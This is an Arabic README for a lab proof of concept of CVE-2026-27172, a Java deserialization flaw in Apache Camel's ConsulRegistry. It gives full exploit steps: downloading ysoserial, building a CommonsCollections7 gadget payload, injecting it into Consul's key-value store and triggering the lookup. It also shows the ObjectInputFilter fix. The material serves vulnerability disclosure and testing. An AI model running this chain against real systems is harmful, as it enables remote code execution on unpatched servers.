
مُعيد إنتاج ثغرة CVE-2026-27172: إلغاء تسلسل Java في Apache Camel camel-consul ConsulRegistry (RCE)
يعرض هذا المشروع ثغرة إلغاء تسلسل Java في مكوّن camel-consul الخاص بـ Apache Camel (ConsulRegistry)، والمُتتبَّعة باسم CVE-2026-27172. وهي من نفس فئة المشكلة مثل CVE-2024-22369 وCVE-2024-23114 وCVE-2026-25747، وقد جرى التغاضي عنها أثناء المعالجة الأصلية لتلك الثغرات.
النشرة الاستشارية: https://camel.apache.org/security/CVE-2026-27172.html
| الخاصية | القيمة |
|---|---|
| المكوّن | camel-consul |
| الفئة المتأثرة | org.apache.camel.component.consul.ConsulRegistry (ConsulRegistryUtils.deserialize) |
| الدوال المستضعفة | lookupByName()، lookupByNameAndType()، findByTypeWithName()، findByType() |
| CWE | CWE-502: إلغاء تسلسل بيانات غير موثوقة |
| الأثر | تنفيذ برمجيات عن بُعد (RCE) |
| الإصدارات المتأثرة | من 3.0.0 إلى ما قبل 4.14.6، ومن 4.15.0 إلى ما قبل 4.18.1 |
| الإصدارات المُصلَّحة | 4.14.6، 4.18.1، 4.19.0 |
| JIRA | CAMEL-23029 |
يستخدم ConsulRegistry مخزن المفاتيح/القيم في Consul كسجلّ Camel. عند البحث عن bean بالاسم، تُفكَّك القيمة المخزَّنة من ترميز Base64 ثم يُلغى تسلسلها باستخدام ObjectInputStream خام، وفي الإصدارات المتأثرة، دون أي ObjectInputFilter:
// ConsulRegistry.lookupByName(...)
public Object lookupByName(String key) {
kvClient = consul.keyValueClient();
return kvClient.getValueAsString(key).map(result -> {
byte[] postDecodedValue = ConsulRegistryUtils.decodeBase64(result);
return ConsulRegistryUtils.deserialize(postDecodedValue); // no filter (affected)
}).orElse(null);
}
// ConsulRegistryUtils.deserialize(...) - affected version
static Object deserialize(byte[] bytes) {
try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
return in.readObject(); // NO FILTERING!
}
}
يُلغى تسلسل أي كائن مخزَّن في مخزن Consul KV تحت مفتاح سيبحث عنه Camel لاحقًا. ويمكن للمهاجم القادر على الكتابة في مسار KV هذا أن يزرع حمولة سلسلة أدوات (gadget chain) تُنفَّذ عند حدوث البحث في السجلّ.
docker run -d --name consul -p 8500:8500 hashicorp/consul:1.17 agent -dev -client 0.0.0.0
mvn clean package -DskipTests
mvn spring-boot:run
curl http://localhost:8080/exploit/init
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# Linux (benign proof: create a file). Use "open -a Calculator" on macOS, "calc.exe" on Windows.
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
يخزّن ConsulRegistry كائنات متسلسلة مُرمَّزة بصيغة Base64، لذا تُسلَّم الحمولة بصيغة Base64.
curl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" \
--data-binary @payload.b64
curl http://localhost:8080/exploit/trigger
تقرأ lookupByName() قيمة KV، وتفك ترميزها من Base64، ثم تلغي تسلسلها — منفِّذةً سلسلة الأدوات.
ls -la /tmp/pwned
إذا وُجد الملف /tmp/pwned، يكون الاستغلال قد نجح.
تُستثار الثغرة كلما حلَّ السجلّ (registry) مرجع bean:
.to("bean:...") وbean(...) و.process("...") بالاسم تستدعي جميعها lookupByName().findByType() / lookupByNameAndType() تكرران على إدخالات KV وتلغي تسلسلها.commons-collections:3.2.1 (أدوات CommonsCollections1-7)يضيف الإصلاح (CAMEL-23029) ObjectInputFilter قابلًا للضبط (الافتراضي: java.**;org.apache.camel.**;!*) إلى ConsulRegistryUtils.deserialize، ويتيح خيار deserializationFilter بحيث يمكن إدراج الفئات الموثوقة في قائمة السماح:
static Object deserialize(byte[] bytes, String deserializationFilter) {
try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
if (deserializationFilter != null) {
in.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
}
return in.readObject();
}
}
إلى حين الترقية إلى إصدار مُصلَّح:
CVE-2026-27172/
├── pom.xml # Maven configuration (affected camel-consul version)
├── README.md # This file
└── src/main/
├── java/com/example/
│ ├── Application.java # Spring Boot entry point
│ ├── ConsulRegistryRoute.java # Camel route (disabled; shows real usage)
│ └── ExploitController.java # REST endpoints for the PoC
└── resources/
└── application.properties
أداة إعادة الإنتاج هذه مقدَّمة لأغراض البحث الأمني والاختبار المصرَّح به فقط، لثغرة تم الإفصاح عنها علنًا وإصلاحها. لا تستخدمها ضد أنظمة دون إذن صريح.
| الجانب | Cassandra (CVE-2024-23114) | LevelDB (CVE-2026-25747) | Consul (CVE-2026-27172) |
|---|
| التخزين الداعم | جدول Cassandra | ملف LevelDB | مخزن Consul KV |
| ObjectInputFilter (قبل الإصلاح) | لا يوجد | لا يوجد | لا يوجد |
| الإصلاح | قائمة سماح ObjectInputFilter | قائمة سماح ObjectInputFilter | قائمة سماح ObjectInputFilter |
| JIRA | CAMEL-20306 | CAMEL-22821 | CAMEL-23029 |